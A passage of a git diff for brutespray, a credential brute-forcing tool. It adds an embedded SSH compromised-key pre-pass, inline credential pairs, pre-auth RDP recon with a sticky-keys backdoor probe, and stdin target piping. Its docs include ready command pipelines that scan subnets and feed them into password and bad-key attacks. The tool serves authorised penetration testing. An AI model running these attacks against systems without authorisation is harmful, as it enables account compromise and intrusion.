err != nil { + fmt.Fprintf(os.Stderr, "stdin parse: %v\n", err) + os.Exit(2) + } + cfg.Hosts = append(cfg.Hosts, hosts...) + } + totalHosts := len(cfg.Hosts) // Only enable the circuit breaker in spray mode where skipping unreachable @@ -60,6 +72,19 @@ func executeTUI(cfg *Config, cm *modules.ConnectionManager, totalHosts int) { eventBus := tui.NewEventBus() modules.ErrorSink = eventBus.SendError + modules.FindingSink = func(severity, code, service, target, message, cve string) { + eventBus.Send(tui.FindingMsg{ + Entry: tui.FindingEntry{ + Severity: severity, + Code: code, + Service: service, + Target: target, + Message: message, + CVE: cve, + Time: time.Now(), + }, + }) + } workerPool := NewWorkerPool(cfg.Threads, eventBus, cfg.HostParallelism, totalHosts) workerPool.stopOnSuccess = cfg.StopOnSuccess workerPool.rateLimit = cfg.RateLimit @@ -67,6 +92,10 @@ func executeTUI(cfg *Config, cm *modules.ConnectionManager, totalHosts int) { workerPool.sprayDelay = cfg.SprayDelay workerPool.useReversedPass = cfg.UseReversedPass workerPool.passwordGen = cfg.PasswordGen + workerPool.noBadKeys = cfg.NoBadKeys + workerPool.badKeysOnly = cfg.BadKeysOnly + workerPool.noRDPScan = cfg.NoRDPScan + workerPool.inlineCreds = cfg.Creds // Initialize checkpoint var replayEntries []modules.SessionEntry @@ -167,6 +196,10 @@ func executeLegacy(cfg *Config, cm *modules.ConnectionManager, totalHosts int) { workerPool.sprayDelay = cfg.SprayDelay workerPool.useReversedPass = cfg.UseReversedPass workerPool.passwordGen = cfg.PasswordGen + workerPool.noBadKeys = cfg.NoBadKeys + workerPool.badKeysOnly = cfg.BadKeysOnly + workerPool.noRDPScan = cfg.NoRDPScan + workerPool.inlineCreds = cfg.Creds // Initialize checkpoint for resume capability if cfg.ResumeFile != "" { diff --git a/brutespray/config.go b/brutespray/config.go index eee1271..7dd0ed7 100644 --- a/brutespray/config.go +++ b/brutespray/config.go @@ -17,7 +17,7 @@ import ( var masterServiceList = brute.Services() -var BetaServiceList = []string{"asterisk", "nntp", "oracle", "xmpp", "ldap", "ldaps", "winrm", "ftps", "smtp-vrfy", "rexec", "rlogin", "rsh", "wrapper", "http-form", "https-form", "svn", "socks5-auth"} +var BetaServiceList = []string{"asterisk", "nntp", "oracle", "xmpp", "ldap", "ldaps", "winrm", "ftps", "smtp-vrfy", "rexec", "rlogin", "rsh", "wrapper", "http-form", "https-form", "svn", "socks5-auth", "neo4j", "cassandra"} var version = "2.6.1" var NoColorMode bool @@ -85,6 +85,7 @@ var helpGroups = []flagGroup{ {"-u", "user", "Username or user file"}, {"-p", "pass", "Password or password file"}, {"-C", "user:pass", "Combo entry or combo file"}, + {"-c", "user:pass,...", "Inline credential pairs, comma-separated (e.g. admin:admin,root:toor)"}, {"-e", "nsr", "Extra checks: n=blank, s=user-as-pass, r=reversed"}, {"-x", "MIN:MAX:CHARSET", "Generate passwords (a=lower, A=upper, 1=digit, !=sym)"}, }, @@ -134,6 +135,9 @@ var helpGroups = []flagGroup{ {"-checkpoint", "file", "Checkpoint file (default: brutespray-checkpoint.json)"}, {"-resume", "file", "Resume from checkpoint"}, {"-allow-wrapper", "", "Allow wrapper module (executes commands)"}, + {"-no-badkeys", "", "Skip SSH bad-keys pre-pass for SSH targets"}, + {"-badkeys-only", "", "Run SSH bad-keys pre-pass only; skip password attempts"}, + {"-no-rdp-scan", "", "Skip pre-auth RDP recon (NLA fingerprint, sticky-keys probe)"}, }, }, } @@ -198,46 +202,50 @@ func customUsage() { // Config holds all parsed configuration for a brutespray run type Config struct { - User string - Password string - Combo string - Output string - Summary bool - NoStats bool - Silent bool - LogEvery int - Threads int - HostParallelism int - SocksProxy string - ProxyList string - NetInterface string - ServiceType string - File string - HostArgs hostListFlag - Quiet bool - Timeout time.Duration - Retry int - PrintHosts bool - Domain string - NoColor bool - StopOnSuccess bool - RateLimit float64 - SprayMode bool - SprayDelay time.Duration - ResumeFile string - CheckpointFile string - ConfigFile string - TUI bool - Hosts []modules.Host - SupportedServices []string - TotalCombinations int - ModuleParams map[string]string - UseUsernameAsPass bool - UseReversedPass bool - AllowWrapper bool - PasswordGenSpec string - PasswordGen *modules.PasswordGenerator - OutputFormat string + User string + Password string + Combo string + Creds string + Output string + Summary bool + NoStats bool + Silent bool + LogEvery int + Threads int + HostParallelism int + SocksProxy string + ProxyList string + NetInterface string + ServiceType string + File string + HostArgs hostListFlag + Quiet bool + Timeout time.Duration + Retry int + PrintHosts bool + Domain string + NoColor bool + StopOnSuccess bool + RateLimit float64 + SprayMode bool + SprayDelay time.Duration + ResumeFile string + CheckpointFile string + ConfigFile string + TUI bool + Hosts []modules.Host + SupportedServices []string + TotalCombinations int + ModuleParams map[string]string + UseUsernameAsPass bool + UseReversedPass bool + AllowWrapper bool + BadKeysOnly bool + NoBadKeys bool + NoRDPScan bool + PasswordGenSpec string + PasswordGen *modules.PasswordGenerator + OutputFormat string } // Validate checks for mutually exclusive flags, contradictory options, @@ -248,6 +256,9 @@ func (cfg *Config) Validate() error { if cfg.User != "" && cfg.Combo != "" { return fmt.Errorf("-u and -C are mutually exclusive") } + if cfg.NoBadKeys && cfg.BadKeysOnly { + return fmt.Errorf("--no-badkeys and --badkeys-only are mutually exclusive") + } // Contradictory flags (warn, don't error) if cfg.SprayMode && cfg.StopOnSuccess { @@ -295,6 +306,9 @@ func ParseConfig() *Config { domain := flag.String("d", "", "Domain to use for RDP authentication (optional)") noColor := flag.Bool("nc", false, "Disable colored output") stopOnSuccess := flag.Bool("stop-on-success", false, "Stop testing a host after finding valid credentials") + noBadKeys := flag.Bool("no-badkeys", false, "Skip SSH bad-keys pre-pass for SSH targets") + badKeysOnly := flag.Bool("badkeys-only", false, "Run SSH bad-keys pre-pass only; skip password attempts") + noRDPScan := flag.Bool("no-rdp-scan", false, "Skip pre-auth RDP recon (NLA fingerprint, sticky-keys probe)") rateLimit := flag.Float64("rate", 0, "Per-host rate limit in attempts/second; fractional values supported (e.g. 0.1 = 1 attempt every 10s; 0 = unlimited)") attemptDelay := flag.Duration("delay", 0, "Per-host delay between attempts (e.g. 10s); alias for -rate, mutually exclusive") sprayMode := flag.Bool("spray", false, "Spray mode: try each password across all users before next password (avoids lockouts)") @@ -306,6 +320,8 @@ func ParseConfig() *Config { var moduleParamsArgs moduleParamsFlag flag.Var(&moduleParamsArgs, "m", "Module-specific parameter in KEY:VALUE format (repeatable). Example: -m auth:NTLM -m dir:/admin") extraCreds := flag.String("e", "", "Extra password checks: n=blank password, s=password=username, r=reversed username, combine: nsr") + inlineCreds := flag.String("creds", "", "Inline credential pairs, comma-separated: user:pass,user2:pass2") + flag.StringVar(inlineCreds, "c", "", "Alias for --creds") allowWrapper := flag.Bool("allow-wrapper", false, "Allow the wrapper module to execute arbitrary commands (required for security)") passwordGen := flag.String("x", "", "Generate passwords: MIN:MAX:CHARSET (a=lower, A=upper, 1=digits, !=symbols). Example: -x 4:4:1") outputFormat := flag.String("output-format", "text", "Output format: text (default) or json (JSONL per-attempt)") @@ -410,6 +426,7 @@ func ParseConfig() *Config { cfg.User = *user cfg.Password = *password cfg.Combo = *combo + cfg.Creds = *inlineCreds cfg.Output = *output cfg.Summary = *summary cfg.NoStats = *noStats @@ -428,6 +445,9 @@ func ParseConfig() *Config { cfg.Domain = *domain cfg.NoColor = *noColor cfg.StopOnSuccess = *stopOnSuccess + cfg.NoBadKeys = *noBadKeys + cfg.BadKeysOnly = *badKeysOnly + cfg.NoRDPScan = *noRDPScan cfg.RateLimit = *rateLimit if *attemptDelay > 0 { if cfg.RateLimit > 0 { diff --git a/brutespray/dispatch.go b/brutespray/dispatch.go index d24db27..3084504 100644 --- a/brutespray/dispatch.go +++ b/brutespray/dispatch.go @@ -1,14 +1,63 @@ package brutespray import ( + "fmt" + "os" + "strings" "time" "github.com/pterm/pterm" "github.com/x90skysn3k/brutespray/v2/brute" + "github.com/x90skysn3k/brutespray/v2/brute/badkeys" "github.com/x90skysn3k/brutespray/v2/modules" "github.com/x90skysn3k/brutespray/v2/tui" ) +// BadKeyCred is a synthetic user/password pair for the SSH bad-keys pre-pass. +// Password carries the marker "::badkey::N" where N indexes into the bundle; +// BruteSSH unpacks this marker (see brute/ssh.go:badKeyMarker). +type BadKeyCred struct { + User string + Password string +} + +// BuildBadKeyCreds turns the embedded bad-keys bundle into a list of synthetic +// credential pairs. When userOverride is set (operator passed -u explicitly), +// every pair uses that username; otherwise each entry's metadata-suggested +// user is used (root for F5, vagrant for Vagrant, etc.). +func BuildBadKeyCreds(bundle []badkeys.Entry, userOverride string) []BadKeyCred { + out := make([]BadKeyCred, 0, len(bundle)) + for i, e := range bundle { + u := e.Username + if userOverride != "" { + u = userOverride + } + out = append(out, BadKeyCred{ + User: u, + Password: fmt.Sprintf("::badkey::%d", i), + }) + } + return out +} + +// ParseInlineCreds parses "user:pass,user2:pass2" form into BadKeyCred-shaped +// pairs (reusing the same struct for symmetry with the bad-keys path). +// Splits each pair on the FIRST colon so passwords containing colons survive. +func ParseInlineCreds(s string) []BadKeyCred { + if s == "" { + return nil + } + var out []BadKeyCred + for _, part := range strings.Split(s, ",") { + idx := strings.Index(part, ":") + if idx < 0 { + continue + } + out = append(out, BadKeyCred{User: part[:idx], Password: part[idx+1:]}) + } + return out +} + // reverseString returns the reversed version of a string. func reverseString(s string) string { runes := []rune(s) @@ -18,6 +67,12 @@ func reverseString(s string) string { return string(runes) } +// emitFinding routes a pre-auth recon finding through the output layer +// (text/JSONL/TUI) via modules.WriteFinding. +func emitFinding(host modules.Host, f *brute.Finding) { + modules.WriteFinding(f.Severity, f.Code, host.Service, host.Host, host.Port, f.Message, f.CVE) +} + // ProcessHost processes a single host with all its credentials using dedicated host worker pool func (wp *WorkerPool) ProcessHost(host modules.Host, service string, combo string, user string, password string, version string, timeout time.Duration, retry int, output string, cm *modules.ConnectionManager, domain string, moduleParams brute.ModuleParams, useUsernameAsPass bool) { // Skip hosts already completed in a previous run @@ -185,7 +240,57 @@ func (wp *WorkerPool) ProcessHost(host modules.Host, service string, combo strin } } - if wp.sprayMode { + // Inline credential pairs from --creds / -c — fire first across ALL services. + if wp.inlineCreds != "" { + for _, p := range ParseInlineCreds(wp.inlineCreds) { + if !queueCred(p.User, p.Password) { + break + } + } + } + + // SSH bad-keys pre-pass: try the embedded bundle before any password list. + // Opt-out via --no-badkeys; --badkeys-only short-circuits the regular loop. + if service == "ssh" && !wp.noBadKeys { + // effectiveBadKeyUser is the username to apply across the bad-keys pre-pass. + // When -u is a file path (wordlist), we cannot use a single value — fall back + // to each entry's metadata-suggested user. When -u is a bare username, use it + // as the override. + effectiveBadKeyUser := "" + if user != "" { + if _, statErr := os.Stat(user); statErr != nil { + // Not a file → treat as a bare username + effectiveBadKeyUser = user + } + } + if bundle, err := badkeys.Load(); err == nil { + for _, pair := range BuildBadKeyCreds(bundle, effectiveBadKeyUser) { + if !queueCred(pair.User, pair.Password) { + break + } + } + } else { + fmt.Fprintf(os.Stderr, "warning: bad-keys bundle load failed (skipping pre-pass): %v\n", err) + } + } + // RDP pre-auth recon: NLA fingerprint + sticky-keys probe. + // Opt-out via --no-rdp-scan. Unlike --badkeys-only there is no + // RDP-scan-only mode — regular cred attempts always continue after. + if service == "rdp" && !wp.noRDPScan { + findings := brute.ScanRDPRecon(host.Host, host.Port, timeout) + for _, f := range findings { + emitFinding(host, f) + } + } + + if service == "ssh" && wp.badKeysOnly { + // NOTE: --badkeys-only returns before the regular cred loop, which means + // hostPool.jobQueue is not closed here. Global wp.Stop() handles eventual + // cleanup; tighten if profiling shows the premature exit matters. + return + } + + if wp.sprayMode { // Spray: try each password across all users before next password // Prepend username-as-password round if -e s diff --git a/brutespray/dispatch_badkeys_test.go b/brutespray/dispatch_badkeys_test.go new file mode 100644 index 0000000..c8917e9 --- /dev/null +++ b/brutespray/dispatch_badkeys_test.go @@ -0,0 +1,99 @@ +package brutespray + +import ( + "fmt" + "testing" + + "github.com/x90skysn3k/brutespray/v2/brute/badkeys" +) + +func TestValidateRejectsContradictoryBadKeyFlags(t *testing.T) { + cfg := &Config{NoBadKeys: true, BadKeysOnly: true, ServiceType: "all"} + if err := cfg.Validate(); err == nil { + t.Fatal("expected error for --no-badkeys + --badkeys-only, got nil") + } +} + +func TestBuildBadKeyCredsProducesMarkers(t *testing.T) { + bundle, err := badkeys.Load() + if err != nil { + t.Fatalf("badkeys.Load: %v", err) + } + pairs := BuildBadKeyCreds(bundle, "") + if len(pairs) != len(bundle) { + t.Fatalf("got %d pairs, want %d", len(pairs), len(bundle)) + } + for i, p := range pairs { + wantPass := fmt.Sprintf("::badkey::%d", i) + if p.Password != wantPass { + t.Fatalf("pair[%d].Password = %q, want %q", i, p.Password, wantPass) + } + } +} + +func TestBuildBadKeyCredsRespectsExplicitUser(t *testing.T) { + bundle, err := badkeys.Load() + if err != nil { + t.Fatalf("badkeys.Load: %v", err) + } + pairs := BuildBadKeyCreds(bundle, "admin") + for _, p := range pairs { + if p.User != "admin" { + t.Fatalf("user override failed: %q", p.User) + } + } +} + +func TestBuildBadKeyCredsUsesMetadataUserByDefault(t *testing.T) { + bundle, err := badkeys.Load() + if err != nil { + t.Fatalf("badkeys.Load: %v", err) + } + pairs := BuildBadKeyCreds(bundle, "") + // Find the Vagrant entry and confirm its pair uses "vagrant" as user + for i, e := range bundle { + if e.Vendor == "HashiCorp Vagrant" { + if pairs[i].User != "vagrant" { + t.Fatalf("vagrant default user not preserved: got %q", pairs[i].User) + } + return + } + } + t.Fatal("no Vagrant entry in bundle") +} + +func TestParseInlineCredsBasic(t *testing.T) { + pairs := ParseInlineCreds("admin:admin,root:toor") + if len(pairs) != 2 { + t.Fatalf("got %d pairs, want 2: %+v", len(pairs), pairs) + } + if pairs[0].User != "admin" || pairs[0].Password != "admin" { + t.Fatalf("pair[0]: %+v", pairs[0]) + } + if pairs[1].User != "root" || pairs[1].Password != "toor" { + t.Fatalf("pair[1]: %+v", pairs[1]) + } +} + +func TestParseInlineCredsPasswordWithColon(t *testing.T) { + pairs := ParseInlineCreds("user::pass:word") + if len(pairs) != 1 { + t.Fatalf("got %d, want 1", len(pairs)) + } + if pairs[0].User != "user" || pairs[0].Password != ":pass:word" { + t.Fatalf("colon-in-password not preserved: %+v", pairs[0]) + } +} + +func TestParseInlineCredsEmpty(t *testing.T) { + if got := ParseInlineCreds(""); got != nil { + t.Fatalf("empty input should be nil, got %+v", got) + } +} + +func TestParseInlineCredsSkipsInvalidPair(t *testing.T) { + pairs := ParseInlineCreds("admin:admin,notapair,root:toor") + if len(pairs) != 2 { + t.Fatalf("invalid middle pair should be skipped: got %d", len(pairs)) + } +} diff --git a/brutespray/dispatch_rdp_test.go b/brutespray/dispatch_rdp_test.go new file mode 100644 index 0000000..3765afe --- /dev/null +++ b/brutespray/dispatch_rdp_test.go @@ -0,0 +1,50 @@ +package brutespray + +import ( + "bytes" + "io" + "os" + "strings" + "testing" + + "github.com/x90skysn3k/brutespray/v2/brute" + "github.com/x90skysn3k/brutespray/v2/modules" +) + +func captureStdoutDispatch(fn func()) string { + old := os.Stdout + r, w, _ := os.Pipe() + os.Stdout = w + fn() + w.Close() + os.Stdout = old + var buf bytes.Buffer + _, _ = io.Copy(&buf, r) + return buf.String() +} + +func TestEmitFindingFormat(t *testing.T) { + modules.NoColorMode = true + defer func() { modules.NoColorMode = false }() + + h := modules.Host{Service: "rdp", Host: "10.0.0.5", Port: 3389} + f := &brute.Finding{Severity: "WARN", Code: "rdp-nla-missing", Message: "NLA not enforced"} + out := captureStdoutDispatch(func() { emitFinding(h, f) }) + for _, want := range []string{"WARN", "rdp", "10.0.0.5:3389", "NLA not enforced"} { + if !strings.Contains(out, want) { + t.Fatalf("output missing %q: %s", want, out) + } + } +} + +func TestEmitFindingIncludesCVE(t *testing.T) { + modules.NoColorMode = true + defer func() { modules.NoColorMode = false }() + + h := modules.Host{Service: "ssh", Host: "10.0.0.5", Port: 22} + f := &brute.Finding{Severity: "HIGH", Code: "ssh-badkey", Message: "F5 default key", CVE: "CVE-2012-1493"} + out := captureStdoutDispatch(func() { emitFinding(h, f) }) + if !strings.Contains(out, "CVE-2012-1493") { + t.Fatalf("CVE missing from output: %s", out) + } +} diff --git a/brutespray/pool.go b/brutespray/pool.go index b685e42..084a51a 100644 --- a/brutespray/pool.go +++ b/brutespray/pool.go @@ -91,6 +91,13 @@ type WorkerPool struct { // Extra credential options useReversedPass bool passwordGen *modules.PasswordGenerator + // SSH bad-keys pre-pass control + noBadKeys bool + badKeysOnly bool + // RDP pre-auth recon control + noRDPScan bool + // Inline credential pairs from --creds / -c + inlineCreds string } // NewHostWorkerPool creates a new host-specific worker pool @@ -539,6 +546,7 @@ func (hwp *HostWorkerPool) processCredential(cred Credential, timeout time.Durat Duration: duration, Timestamp: startTime, Banner: result.Banner, + KeyMatch: result.KeyMatch, }) // Write to session log for resume replay diff --git a/docs/advanced.md b/docs/advanced.md index f5219ba..be28ce3 100644 --- a/docs/advanced.md +++ b/docs/advanced.md @@ -303,3 +303,66 @@ Use `-m form-url:/path` if the CSRF form page differs from the login URL. | wrapper | `cmd` | command | Command template with %H/%P/%U/%W | | smbnt | `domain` | string | SMB domain | | rdp | `domain` | string | RDP domain | + +## SSH bad-keys + +Brutespray ships an embedded bundle of known-compromised SSH client private +keys (Rapid7 ssh-badkeys + HashiCorp Vagrant + per-vendor defaults). When +the target service is SSH, brutespray tries each bundle key with its +metadata-suggested default username before any password attempts. + +| Flag | Effect | +|---|---| +| (default) | Bad-keys pass runs first; passwords follow if no key matches | +| `--no-badkeys` | Skip the bad-keys pass entirely | +| `--badkeys-only` | Run the bad-keys pass only; skip password attempts | + +Successful matches surface as `BADKEY` lines (text mode) or `type:badkey` +JSONL records (JSON mode) carrying the vendor and CVE identifier. + +### Bundled keys + +| Vendor | Default user | CVE | +|---|---|---| +| HashiCorp Vagrant | vagrant | (insecure default — no CVE) | +| F5 BIG-IP | root | CVE-2012-1493 | +| ExaGrid EX | root | CVE-2016-1561 | +| Ceragon FibeAir | mateidu | CVE-2015-0936 | +| Monroe Electronics DASDEC | root | CVE-2013-0137 | +| Barracuda Load Balancer | root | CVE-2014-8428 | +| Array Networks vAPV/vxAG | sync | — | +| Loadbalancer.org Enterprise VA | root | — | +| Quantum DXi V1000 | root | — | + +The bundle refreshes alongside the monthly wordlist update cadence. + +## Pre-auth RDP recon + +When the target service is `rdp`, brutespray runs two pre-auth probes +before any credential attempt. Findings flow through normal output +channels (text, JSONL, TUI Findings tab) without consuming credential +attempts. Opt out with `--no-rdp-scan`. + +### NLA fingerprint + +A single X.224 Connection Request classifies the server's RDPneg response: + +- `[INFO] rdp NLA (CredSSP) enforced` — standard RDP refused +- `[INFO] rdp HybridEx (NLA + CredSSP early-user) enforced` +- `[WARN] rdp NLA not enforced — server accepts standard RDP` + +### Sticky-keys backdoor probe + +When NLA is not enforced, brutespray connects to the GINA logon screen, +sends 5× Shift keypresses (the sticky-keys trigger), and compares +framebuffer snapshots before and after. If the post-trigger frame +matches the heuristic for a cmd.exe console (predominantly black with +monospaced white text in the top region), the finding is: + +`[CRITICAL] rdp sticky-keys backdoor detected` + +If the framebuffer changed but the console signature does not match: + +`[INFO] rdp sticky-keys inconclusive — manual verification recommended` + +Probe errors land on stderr; no finding is emitted unless detection completes. diff --git a/docs/output.md b/docs/output.md index ffbc81e..52b13ee 100644 --- a/docs/output.md +++ b/docs/output.md @@ -71,3 +71,32 @@ chmod +x brutespray-nxc.sh | `-nc` | Disable colored output | | `-q` | Suppress the banner | | `--no-tui` | Use legacy text output instead of interactive TUI | + +## Finding records (JSONL) + +Pre-auth recon results emit one JSON object per line in JSONL mode: + +```json +{"type":"finding","severity":"WARN","code":"rdp-nla-missing","service":"rdp","target":"10.0.0.5:3389","message":"NLA not enforced — server accepts standard RDP without pre-auth"} +{"type":"finding","severity":"CRITICAL","code":"rdp-stickykeys","service":"rdp","target":"10.0.0.5:3389","message":"sticky-keys backdoor detected (cmd.exe shell at logon screen)"} +``` + +| Field | Description | +|---|---| +| `type` | Always `"finding"` | +| `severity` | `INFO`, `WARN`, `HIGH`, `CRITICAL` | +| `code` | Stable machine identifier: `rdp-nla-required`, `rdp-nla-missing`, `rdp-nla-hybridex`, `rdp-stickykeys`, `rdp-stickykeys-inconclusive` | +| `service` / `target` | Target identification | +| `message` | Human-readable description | +| `cve` | Present only when a CVE applies | + +## BADKEY records (JSONL) + +When SSH authentication succeeds against an embedded bad key, the per-success +output channel emits a distinct `badkey` record alongside the regular `success` +line: + +```json +{"type":"badkey","service":"ssh","target":"10.0.0.5:22","username":"vagrant","vendor":"HashiCorp Vagrant","description":"Vagrant insecure default key (any Vagrant VM pre-2014)"} +{"type":"badkey","service":"ssh","target":"10.0.0.6:22","username":"root","vendor":"F5 BIG-IP","cve":"CVE-2012-1493","description":"F5 BIG-IP 9.x-11.x default root SSH key"} +``` diff --git a/docs/pipeline.md b/docs/pipeline.md new file mode 100644 index 0000000..375360e --- /dev/null +++ b/docs/pipeline.md @@ -0,0 +1,64 @@ +# Pipeline integration + +Brutespray accepts targets on stdin and auto-detects the input format, +making it a natural terminator for modern recon pipelines. + +Supported input formats: + +- **naabu** — bare `host:port` lines +- **Nerva URI** — `scheme://host:port` lines (e.g. `ssh://10.0.0.5:22`) +- **Nerva JSON** — newline-delimited JSON objects with `ip`/`port`/`protocol` +- **fingerprintx JSON** — newline-delimited JSON objects with `host`/`port`/`service` +- **masscan JSON** — masscan `-oJ` array of host records + +## naabu → brutespray + +``` +naabu -host 10.0.0.0/24 -p 22,3306,3389,5984 -silent \ + | brutespray -u root -P wordlist/_base/password +``` + +naabu emits `host:port` lines; brutespray maps each port to its canonical +service via the embedded default-port table. + +## naabu → fingerprintx → brutespray + +``` +naabu -host 10.0.0.0/24 -silent \ + | fingerprintx --json \ + | brutespray -u root -P wordlist/_base/password +``` + +fingerprintx classifies the service explicitly — brutespray uses that +directly instead of falling back to the port-table. + +## masscan → brutespray + +``` +masscan -p22,3389,5984 10.0.0.0/24 -oJ - \ + | brutespray --no-badkeys -u admin -p admin +``` + +masscan's JSON array is decoded; only open ports survive; closed and +filtered are dropped silently. + +## SSH bad-keys only + +``` +masscan -p22 10.0.0.0/24 -oJ - \ + | brutespray --badkeys-only --output-format json -o results.jsonl +``` + +Skips password attempts entirely. Each successful match emits a +`type:badkey` JSONL record carrying the vendor and CVE. + +## RDP recon scan + +``` +naabu -host 10.0.0.0/24 -p 3389 -silent \ + | brutespray -s rdp -u test -p test --output-format json -o rdp-findings.jsonl +``` + +The NLA fingerprint and sticky-keys probe run before any credential +attempts. Findings stream into the same JSONL output channel as auth +attempts — filter by `type=="finding"` downstream. diff --git a/docs/services.md b/docs/services.md index 23a375a..13032ea 100644 --- a/docs/services.md +++ b/docs/services.md @@ -1,6 +1,6 @@ # Supported Services -Brutespray supports 30+ protocols. Services marked as **beta** may have edge cases — please [open an issue](https://github.com/x90skysn3k/brutespray/issues) if you encounter problems. +Brutespray supports 40+ protocols. Services marked as **beta** may have edge cases — please [open an issue](https://github.com/x90skysn3k/brutespray/issues) if you encounter problems. | Service | Default Port | Status | Notes | |---------|-------------|--------|-------| @@ -17,6 +17,11 @@ Brutespray supports 30+ protocols. Services marked as **beta** may have edge cas | mssql | 1433 | Stable | Configurable domain (`-m domain:CORP`) | | mongodb | 27017 | Stable | | | redis | 6379 | Stable | Password-only auth, configurable DB (`-m db:N`) | +| couchdb | 5984 | Stable | HTTP POST to `/_session`; `-m tls:true` for HTTPS | +| elasticsearch | 9200 | Stable | HTTP basic auth on `/_cluster/health`; `-m tls:true` for HTTPS | +| influxdb | 8086 | Stable | v2 token by default; `-m mode:v1` for InfluxDB 1.x basic auth | +| neo4j | 7687 | Beta | Bolt v5 protocol (gocql); proxy/iface routing not applied | +| cassandra | 9042 | Beta | CQL native protocol with PasswordAuthenticator | | vnc | 5900 | Stable | Password-only auth (no username) | | snmp | 161 | Stable | Supports v1/v2c (default) and v3 (`-m version:3`) | | smbnt | 445 | Stable | Use `-d DOMAIN` for domain auth | diff --git a/docs/usage.md b/docs/usage.md index a0271db..0063602 100644 --- a/docs/usage.md +++ b/docs/usage.md @@ -40,6 +40,10 @@ | `--allow-wrapper` | Allow wrapper module to execute commands | `--allow-wrapper` | | `--output-format` | Per-attempt output format: text (default) or json | `--output-format json` | | `--proxy-list` | File with proxy list for rotation (one per line) | `--proxy-list proxies.txt` | +| `--no-badkeys` | Skip the embedded SSH bad-keys pre-pass | `--no-badkeys` | +| `--badkeys-only` | Run the embedded SSH bad-keys pre-pass only; skip passwords | `--badkeys-only` | +| `--no-rdp-scan` | Skip pre-auth RDP recon (NLA + sticky-keys) | `--no-rdp-scan` | +| `-c`, `--creds` | Inline credential pairs, comma-separated: `admin:admin,root:toor` | `-c admin:admin,root:toor` | ## YAML Config File @@ -189,3 +193,16 @@ root:root admin:admin user1:password123 ``` + +### Reading targets from stdin + +When `-f` is not supplied and stdin is a pipe, brutespray reads targets +from stdin and auto-detects the input format (naabu line, Nerva URI, +Nerva JSON, fingerprintx JSON, masscan JSON). The target list is +appended to whatever `-H` arguments were given on the CLI. + +``` +naabu -host 10.0.0.0/24 -p 22 -silent | brutespray -u root -P wordlist/ssh/password +masscan -p22,3389 10.0.0.0/24 -oJ - | brutespray -u admin -p admin +fingerprintx -t 10.0.0.0/24 --json | brutespray --no-badkeys +``` diff --git a/docs/wordlists.md b/docs/wordlists.md index d3b70f0..e51d6d7 100644 --- a/docs/wordlists.md +++ b/docs/wordlists.md @@ -140,3 +140,22 @@ brutespray wordlist research # AI-powered wordlist research via Ollama brutespray wordlist merge # Merge research candidates into wordlists brutespray wordlist download -o path # Download rockyou.txt ``` + +## SNMP community-string tiers + +The `snmp` module ships three embedded tiers of community strings, selected +via `-m mode:`. Default behavior (no `-m mode`) uses the operator's +`-u` / `-p` values as community strings (legacy mode); the tiers replace +that with a curated list: + +| Tier | Size | Contents | +|---|---|---| +| `default` | 20 | classic public/private/cisco-style community strings | +| `extended` | 55 | + per-vendor (Cisco / HP / Juniper) enterprise defaults | +| `full` | 92 | + SCADA controllers, IP cameras, NAS / storage arrays | + +Example: + +``` +brutespray -s snmp -H 10.0.0.0/24 -m mode:full +``` diff --git a/go.mod b/go.mod index e67ad45..f5bed86 100644 --- a/go.mod +++ b/go.mod @@ -13,19 +13,21 @@ require ( github.com/go-ldap/ldap/v3 v3.4.13 github.com/go-redis/redis/v8 v8.11.5 github.com/go-sql-driver/mysql v1.9.3 + github.com/gocql/gocql v1.7.0 github.com/gosnmp/gosnmp v1.43.2 github.com/hirochachacha/go-smb2 v1.1.0 github.com/jlaffaye/ftp v0.2.0 github.com/lib/pq v1.12.3 github.com/masterzen/winrm v0.0.0-20250927112105-5f8e6c707321 github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed + github.com/neo4j/neo4j-go-driver/v5 v5.28.4 github.com/pterm/pterm v0.12.83 github.com/sijms/go-ora/v2 v2.9.0 - github.com/x90skysn3k/grdp v1.0.2 + github.com/x90skysn3k/grdp v1.0.3 go.mongodb.org/mongo-driver v1.17.9 - golang.org/x/crypto v0.50.0 - golang.org/x/net v0.53.0 - golang.org/x/term v0.42.0 + golang.org/x/crypto v0.51.0 + golang.org/x/net v0.55.0 + golang.org/x/term v0.43.0 gopkg.in/yaml.v3 v3.0.1 gosrc.io/xmpp v0.5.1 ) @@ -59,6 +61,7 @@ require ( github.com/golang/snappy v1.0.0 // indirect github.com/google/uuid v1.6.0 // indirect github.com/gookit/color v1.6.0 // indirect + github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed // indirect github.com/hashicorp/errwrap v1.1.0 // indirect github.com/hashicorp/go-cleanhttp v0.5.2 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect @@ -89,8 +92,9 @@ require ( github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect github.com/youmark/pkcs8 v0.0.0-20240726163527-a2c0da244d78 // indirect golang.org/x/sync v0.20.0 // indirect - golang.org/x/sys v0.43.0 // indirect - golang.org/x/text v0.36.0 // indirect + golang.org/x/sys v0.45.0 // indirect + golang.org/x/text v0.37.0 // indirect golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da // indirect + gopkg.in/inf.v0 v0.9.1 // indirect nhooyr.io/websocket v1.8.17 // indirect ) diff --git a/go.sum b/go.sum index 7cac90a..70c121f 100644 --- a/go.sum +++ b/go.sum @@ -30,6 +30,10 @@ github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1L github.com/atomicgo/cursor v0.0.1/go.mod h1:cBON2QmmrysudxNBFthvMtN32r3jxVRIvzkUiF/RuIk= github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k= github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8= +github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932 h1:mXoPYz/Ul5HYEDvkta6I8/rnYM5gSdSV2tJ6XbZuEtY= +github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932/go.mod h1:NOuUCSz6Q9T7+igc/hlvDOUdtWKryOrtFyIVABv/p7k= +github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY= +github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4= 